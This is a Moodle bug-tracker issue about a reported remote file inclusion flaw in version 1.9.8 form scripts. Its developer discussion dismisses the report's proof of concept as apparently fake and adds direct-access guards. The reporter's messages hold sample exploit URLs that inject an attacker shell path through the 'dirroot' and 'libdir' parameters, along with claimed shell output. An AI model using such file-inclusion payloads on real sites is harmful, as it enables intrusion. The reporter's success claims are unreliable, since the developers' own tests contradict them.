Uploaded image for project: 'Moodle'
  1. Moodle
  2. MDL-22388

Reporter says input not properly verified on various form scripts

    Details

    • Type: Bug
    • Status: Closed
    • Priority: Minor
    • Resolution: Fixed
    • Affects Version/s: 1.9.8
    • Fix Version/s: 1.9.9
    • Component/s: Security Alert
    • Labels:
    • Affected Branches:
      MOODLE_19_STABLE
    • Fixed Branches:
      MOODLE_19_STABLE

      Description

      As reported by eidelweiss@cyberservices.com via the moodle.org contact form:

      The Vulnerability in Moodle versions 1.9.8+ is:

      1. No sanitize , not defined and No Login require for:

      <?***
      require_once($CFG->libdir.'/formslib.php');
      ***?>

      2. Input passed to the "libdir" and "dirroot" parameter in multiple files is
      not properly verified before being used to include files. This can be exploited
      to execute arbitrary PHP code by including files from local or external
      resources (rfi) and also can be exploited to disclose full user names of other
      users (lfi).

        Gliffy Diagrams

          Activity

          tsala Helen Foster created issue -
          Hide
          tsala Helen Foster added a comment -

          Adding VIP watchers.

          Show
          tsala Helen Foster added a comment - Adding VIP watchers.
          Hide
          danmarsden Dan Marsden added a comment -

          to set libdirir or dirroot a hacker must already have access to write to PHP files or write directly to the database - if they have this they can already execute arbitrary code. and have other means of disclosing usernames/including external resources.

          Show
          danmarsden Dan Marsden added a comment - to set libdirir or dirroot a hacker must already have access to write to PHP files or write directly to the database - if they have this they can already execute arbitrary code. and have other means of disclosing usernames/including external resources.
          Hide
          mjollnir Penny Leach added a comment -

          Actually , if config.php is not included and register globals is on, you can probably inject stuff into $CFG like that. Imagine that include line is right at the top of the file and config.php is never included.

          I'm not sure whether you can do it with object variables, but you can certainly do it with normal variables and array items.

          Show
          mjollnir Penny Leach added a comment - Actually , if config.php is not included and register globals is on, you can probably inject stuff into $CFG like that. Imagine that include line is right at the top of the file and config.php is never included. I'm not sure whether you can do it with object variables, but you can certainly do it with normal variables and array items.
          Hide
          danmarsden Dan Marsden added a comment -

          heh - I always forget about register globals! (which should be turned off anyway)

          I guess we should have checks for defined('MOODLE_INTERNAL') if config.php isn't include on the pager - I presume those can't be set by register globals?

          Show
          danmarsden Dan Marsden added a comment - heh - I always forget about register globals! (which should be turned off anyway) I guess we should have checks for defined('MOODLE_INTERNAL') if config.php isn't include on the pager - I presume those can't be set by register globals?
          Hide
          stronk7 Eloy Lafuente (stronk7) added a comment -

          Ho,

          really I don't know it register_globals() allows, in any way, to inject stuff like that. In any case, since 2008, register_globals is highly recommended to be off in any Moodle server.

          Both admin page and environmental checks inform about that, installation of new sites also stopped and, Moodle 2.0 won't run at all if set. Also we published about that here:

          http://moodle.org/mod/forum/discuss.php?d=87969

          I think that's all (from a register_globals() POV).

          I cannot imagine another way to inject variables there (but already having config.php/DB "cracked", as Dan commented, and if that happens well, to modify $CFG->libdir is one of the less "interesting" things the cracker will do).

          Can you imagine another sort of injection for those $CFG vars?

          Ciao

          Show
          stronk7 Eloy Lafuente (stronk7) added a comment - Ho, really I don't know it register_globals() allows, in any way, to inject stuff like that. In any case, since 2008, register_globals is highly recommended to be off in any Moodle server. Both admin page and environmental checks inform about that, installation of new sites also stopped and, Moodle 2.0 won't run at all if set. Also we published about that here: http://moodle.org/mod/forum/discuss.php?d=87969 I think that's all (from a register_globals() POV). I cannot imagine another way to inject variables there (but already having config.php/DB "cracked", as Dan commented, and if that happens well, to modify $CFG->libdir is one of the less "interesting" things the cracker will do). Can you imagine another sort of injection for those $CFG vars? Ciao
          Hide
          dougiamas Martin Dougiamas added a comment -

          I wrote to him yesterday:

          Hi Randy,

          Thanks for taking the time to report your finding. (We have an
          established process for this that would be faster - see
          http://moodle.org/security/ - but that's OK, it got through to us
          eventually anyway)

          About the bug, it doesn't currently look like it's a problem to me.

          1) $CFG variables need to be set in config.php or in some other PHP
          script, so the attacker would need access to PHP scripts already to
          change those.
          2) It doesn't seem possible to set values in an object like
          $CFG->libdir directly via GET or POST, even if register globals is on.
          3) Even if $CFG is set in that case, the script would fail due to a
          syntax error.

          Perhaps I'm missing something ... if so can you let me know? An
          example of an exploit would be useful in tracking this down.

          If there is a problem we of course want to fix it!

          Regards,
          Martin

          Show
          dougiamas Martin Dougiamas added a comment - I wrote to him yesterday: Hi Randy, Thanks for taking the time to report your finding. (We have an established process for this that would be faster - see http://moodle.org/security/ - but that's OK, it got through to us eventually anyway) About the bug, it doesn't currently look like it's a problem to me. 1) $CFG variables need to be set in config.php or in some other PHP script, so the attacker would need access to PHP scripts already to change those. 2) It doesn't seem possible to set values in an object like $CFG->libdir directly via GET or POST, even if register globals is on. 3) Even if $CFG is set in that case, the script would fail due to a syntax error. Perhaps I'm missing something ... if so can you let me know? An example of an exploit would be useful in tracking this down. If there is a problem we of course want to fix it! Regards, Martin
          Hide
          dougiamas Martin Dougiamas added a comment -

          Randy wrote back:

          Hi Martin,

          Thank`s For Your Mail.in some file directory in Moodle 1.9.8+ i found some Vulnerability c0de.

          =[ Vuln C0de ]=

          1. Input passed to the "libdir" and "dirroot" parameter in multiple files is not properly verified before being used to include files.
          This can be exploited to execute arbitrary PHP code by including files from local or external resources (rfi) and also can be exploited to disclose full user names of other users (lfi).

          For example in this line:

          [-] moodle/group/group_form.php

          require_once($CFG->dirroot.'/lib/formslib.php'); // line 3

          =[ Proof Of Concept ]=

          how to exploit this ? attacker can use php script shell injection to exploit this vulnerability
          ex:
          http://127.0.0.1/moodle/group/group_form.php?dirroot= <attacker shell>

          [-] moodle/blog/edit_form.php

          <--
          require_once($CFG->libdir.'/formslib.php');
          -->

          =[ Proof Of Concept ]=

          how to exploit this ? attacker can use php script shell injection to exploit this vulnerability
          ex:
          http://127.0.0.1/moodle/blog/edit_form.php?libdir= <attacker shell>

          or you can visit my blog to see the full original advisories :

          http://eidelweiss-advisories.blogspot.com/2010/05/moodle-198-libdir-dirroot-rfi.html

          Thank`s Before and Success For You.

          Regards,

          Randy Arios a.k.a eidelweiss

          Show
          dougiamas Martin Dougiamas added a comment - Randy wrote back: Hi Martin, Thank`s For Your Mail.in some file directory in Moodle 1.9.8+ i found some Vulnerability c0de. =[ Vuln C0de ]= 1. Input passed to the "libdir" and "dirroot" parameter in multiple files is not properly verified before being used to include files. This can be exploited to execute arbitrary PHP code by including files from local or external resources (rfi) and also can be exploited to disclose full user names of other users (lfi). For example in this line: [-] moodle/group/group_form.php require_once($CFG->dirroot.'/lib/formslib.php'); // line 3 =[ Proof Of Concept ]= how to exploit this ? attacker can use php script shell injection to exploit this vulnerability ex: http://127.0.0.1/moodle/group/group_form.php?dirroot= <attacker shell> [-] moodle/blog/edit_form.php <-- require_once($CFG->libdir.'/formslib.php'); --> =[ Proof Of Concept ]= how to exploit this ? attacker can use php script shell injection to exploit this vulnerability ex: http://127.0.0.1/moodle/blog/edit_form.php?libdir= <attacker shell> or you can visit my blog to see the full original advisories : http://eidelweiss-advisories.blogspot.com/2010/05/moodle-198-libdir-dirroot-rfi.html Thank`s Before and Success For You. Regards, Randy Arios a.k.a eidelweiss
          Hide
          dougiamas Martin Dougiamas added a comment -

          And I wrote back just now:

          Randy,

          Sorry, but have you actually tested this?

          When I try it I get the following, as I would expect:

          http://localhost/19/group/group_form.php?dirroot=something

          ( ! ) Notice: Undefined variable: CFG in /web/19/group/group_form.php on line 3
          Call Stack

          1. Time Memory Function Location
            1 0.0005 89900 {main}( ) ../group_form.php:0

            ( ! ) Notice: Trying to get property of non-object in /web/19/group/group_form.php on line 3
            Call Stack
            # Time Memory Function Location
            1 0.0005 89900 {main}

            ( ) ../group_form.php:0

          ( ! ) Warning: require_once(/lib/formslib.php) [function.require-once]: failed to open stream: No such file or directory in /web/19/group/group_form.php on line 3
          Call Stack

          1. Time Memory Function Location
            1 0.0005 89900 {main}( ) ../group_form.php:0

            ( ! ) Fatal error: require_once() [function.require]: Failed opening required '/lib/formslib.php' (include_path='.:/Applications/MAMP/bin/php5/lib/php') in
            /web/19/group/group_form.php on line 3
            Call Stack
            # Time Memory Function Location
            1 0.0005 89900 {main}

            ( ) ../group_form.php:0

          Show
          dougiamas Martin Dougiamas added a comment - And I wrote back just now: Randy, Sorry, but have you actually tested this? When I try it I get the following, as I would expect: http://localhost/19/group/group_form.php?dirroot=something ( ! ) Notice: Undefined variable: CFG in /web/19/group/group_form.php on line 3 Call Stack Time Memory Function Location 1 0.0005 89900 {main}( ) ../group_form.php:0 ( ! ) Notice: Trying to get property of non-object in /web/19/group/group_form.php on line 3 Call Stack # Time Memory Function Location 1 0.0005 89900 {main} ( ) ../group_form.php:0 ( ! ) Warning: require_once(/lib/formslib.php) [function.require-once] : failed to open stream: No such file or directory in /web/19/group/group_form.php on line 3 Call Stack Time Memory Function Location 1 0.0005 89900 {main}( ) ../group_form.php:0 ( ! ) Fatal error: require_once() [function.require] : Failed opening required '/lib/formslib.php' (include_path='.:/Applications/MAMP/bin/php5/lib/php') in /web/19/group/group_form.php on line 3 Call Stack # Time Memory Function Location 1 0.0005 89900 {main} ( ) ../group_form.php:0
          Hide
          stronk7 Eloy Lafuente (stronk7) added a comment -

          Well,

          I was expecting something more elaborated (dark cracking) in order to get those $CFG vars injected/exploited. But his proof of concept sounds completely fake IMO.

          In any case, I think we should extend the MOODLE_INTERNAL test:

          // Prevent direct access to this file
          if (!defined('MOODLE_INTERNAL')) {
              die('Direct access to this script is forbidden.');
          }

          To any file fulfilling both these characteristics:

          1. Is never called from browser (only can be included)
          2. Has global-scope code (not needed with files being 100% OOP code).

          That way, those "proof of concept" things won't be getting anything but the "Direct access..." message above.

          Ciao

          Show
          stronk7 Eloy Lafuente (stronk7) added a comment - Well, I was expecting something more elaborated (dark cracking) in order to get those $CFG vars injected/exploited. But his proof of concept sounds completely fake IMO. In any case, I think we should extend the MOODLE_INTERNAL test: // Prevent direct access to this file if (!defined('MOODLE_INTERNAL')) { die('Direct access to this script is forbidden.'); } To any file fulfilling both these characteristics: Is never called from browser (only can be included) Has global-scope code (not needed with files being 100% OOP code). That way, those "proof of concept" things won't be getting anything but the "Direct access..." message above. Ciao
          dougiamas Martin Dougiamas made changes -
          Field Original Value New Value
          Fix Version/s 2.0 [ 10122 ]
          Priority Major [ 3 ] Minor [ 4 ]
          Hide
          stronk7 Eloy Lafuente (stronk7) added a comment - - edited

          Just for reference, I got this published today in some of my security feeds, grrr:

          http://packetstormsecurity.org/1005-exploits/moodle198-rfi.txt

          Ciao

          Show
          stronk7 Eloy Lafuente (stronk7) added a comment - - edited Just for reference, I got this published today in some of my security feeds, grrr: http://packetstormsecurity.org/1005-exploits/moodle198-rfi.txt Ciao
          Hide
          dougiamas Martin Dougiamas added a comment -

          From Randy:

          Yes Of Course i have tested here:

          http://localhost/moodle/group/group_form.php?dirroot=script/c100.txt?cmd?&chdir=bla..bla..bla

          10-05-2010 03:55:15 [ phpinfo ] [ php.ini ] [ cpu ] [ mem ] [ users ] [ tmp ] [ delete ]
          safe_mode: OFF_not_secure PHP version: 4.4.9 cURL: ON MySQL: ON MSSQL: OFF PostgreSQL: OFF Oracle: OFF
          Disable functions : NONE
          Free space : 39.95 GB Total space: 67.32 GB

          uname -a : Linux localhost 2.6.29-grsec #2 SMP Fri Aug 14 21:37:03 PDT 2009 i686 GNU/Linux
          id : uid=80 ( Apache ) gid=80 ( Apache )

          This Proof of concept from me for this issue sir . Thank`s Before and Have A Nice Day.

          Regards,

          Randy Arios a.k.a eidelweiss

          Show
          dougiamas Martin Dougiamas added a comment - From Randy: Yes Of Course i have tested here: http://localhost/moodle/group/group_form.php?dirroot=script/c100.txt?cmd?&chdir=bla..bla..bla 10-05-2010 03:55:15 [ phpinfo ] [ php.ini ] [ cpu ] [ mem ] [ users ] [ tmp ] [ delete ] safe_mode: OFF_not_secure PHP version: 4.4.9 cURL: ON MySQL: ON MSSQL: OFF PostgreSQL: OFF Oracle: OFF Disable functions : NONE Free space : 39.95 GB Total space: 67.32 GB uname -a : Linux localhost 2.6.29-grsec #2 SMP Fri Aug 14 21:37:03 PDT 2009 i686 GNU/Linux id : uid=80 ( Apache ) gid=80 ( Apache ) This Proof of concept from me for this issue sir . Thank`s Before and Have A Nice Day. Regards, Randy Arios a.k.a eidelweiss
          Hide
          stronk7 Eloy Lafuente (stronk7) added a comment - - edited

          Well,

          I continue thinking the above exploit example is unable to inject anything into $CFG->dirroot at all, hence, the shell cannot be executed. Or the guy is hiding info, or it's some bug in PHP 4.4.x (causing the $CFG injection to happen), or it's simply fake).

          I really cannot guarantee that it's impossible to inject object attributes via register_globals, although I haven't been able to find any information about that.

          In any case, I think the MOODLE_INTERNAL trick will help to cut any real/potential exploit in those scripts. So +1 for that.

          In the other side, I just did a quick search for requires/includes not using CFG at all:

           egrep -rn '(include|require)_once\(\$' * | grep -v CFG

          and found a bunch of them (aprox 100). IMO we should check all them are properly checked/initialized variables (non-usurpable by register_globals at all).

          Ciao

          PS: register_globals() is evil, evil, evil! Impossible to protect all the stuff from it being enabled.

          Show
          stronk7 Eloy Lafuente (stronk7) added a comment - - edited Well, I continue thinking the above exploit example is unable to inject anything into $CFG->dirroot at all, hence, the shell cannot be executed. Or the guy is hiding info, or it's some bug in PHP 4.4.x (causing the $CFG injection to happen), or it's simply fake). I really cannot guarantee that it's impossible to inject object attributes via register_globals, although I haven't been able to find any information about that. In any case, I think the MOODLE_INTERNAL trick will help to cut any real/potential exploit in those scripts. So +1 for that. In the other side, I just did a quick search for requires/includes not using CFG at all: egrep -rn '(include|require)_once\(\$' * | grep -v CFG and found a bunch of them (aprox 100). IMO we should check all them are properly checked/initialized variables (non-usurpable by register_globals at all). Ciao PS: register_globals() is evil, evil, evil! Impossible to protect all the stuff from it being enabled.
          Hide
          mjollnir Penny Leach added a comment -

          I agree with everything Eloy says

          Show
          mjollnir Penny Leach added a comment - I agree with everything Eloy says
          Hide
          mchurch Mike Churchward added a comment -

          So, is he saying that specifying "dirroot=[anything]" with register globals on, will set the "$CFG->dirroot" variable? That is nonsense.

          Show
          mchurch Mike Churchward added a comment - So, is he saying that specifying "dirroot= [anything] " with register globals on, will set the "$CFG->dirroot" variable? That is nonsense.
          Hide
          dougiamas Martin Dougiamas added a comment -

          Totally agree there is no exploit here.

          I've added MOODLE_INTERNAL checks all over the place in 1.9 and HEAD anyway just to make this clearer.

          Show
          dougiamas Martin Dougiamas added a comment - Totally agree there is no exploit here. I've added MOODLE_INTERNAL checks all over the place in 1.9 and HEAD anyway just to make this clearer.
          dougiamas Martin Dougiamas made changes -
          Summary Input not properly verified Reporter says input not properly verified on various form scripts
          Assignee Petr Skoda (skodak) [ skodak ] Martin Dougiamas [ dougiamas ]
          Security Serious security issue [ 10000 ]
          Fix Version/s 1.9.9 [ 10405 ]
          Fix Version/s 2.0 [ 10122 ]
          dougiamas Martin Dougiamas made changes -
          Fix Version/s 1.9.10 [ 10407 ]
          Fix Version/s 1.9.9 [ 10405 ]
          dougiamas Martin Dougiamas made changes -
          Fix Version/s 1.9.11 [ 10410 ]
          Fix Version/s 1.9.10 [ 10407 ]
          Hide
          tsala Helen Foster added a comment -

          Wasn't this issue fixed months ago? If so, please can someone knowledgeable mark it as resolved.

          Show
          tsala Helen Foster added a comment - Wasn't this issue fixed months ago? If so, please can someone knowledgeable mark it as resolved.
          dougiamas Martin Dougiamas made changes -
          Workflow jira [ 36248 ] MDL Workflow [ 46202 ]
          dougiamas Martin Dougiamas made changes -
          Fix Version/s 1.9.12 [ 10536 ]
          Fix Version/s 1.9.11 [ 10410 ]
          Hide
          tsala Helen Foster added a comment -

          Resolving as fixed and guessing the fix version of 1.9.9.

          Show
          tsala Helen Foster added a comment - Resolving as fixed and guessing the fix version of 1.9.9.
          tsala Helen Foster made changes -
          Status Open [ 1 ] Closed [ 6 ]
          Fix Version/s 1.9.9 [ 10405 ]
          Fix Version/s 1.9.12 [ 10536 ]
          Resolution Fixed [ 1 ]
          tsala Helen Foster made changes -
          Labels triaged
          dougiamas Martin Dougiamas made changes -
          Workflow MDL Workflow [ 46202 ] MDL Full Workflow [ 93580 ]
          Subversion JIRA

          Links Hierarchy

           Documentation

          Invalid license: EXPIRED

            People

            • Votes:
              0 Vote for this issue
              Watchers:
              4 Start watching this issue

              Dates

              • Created:
                Updated:
                Resolved:
                Fix Release Date:
                8/Jun/10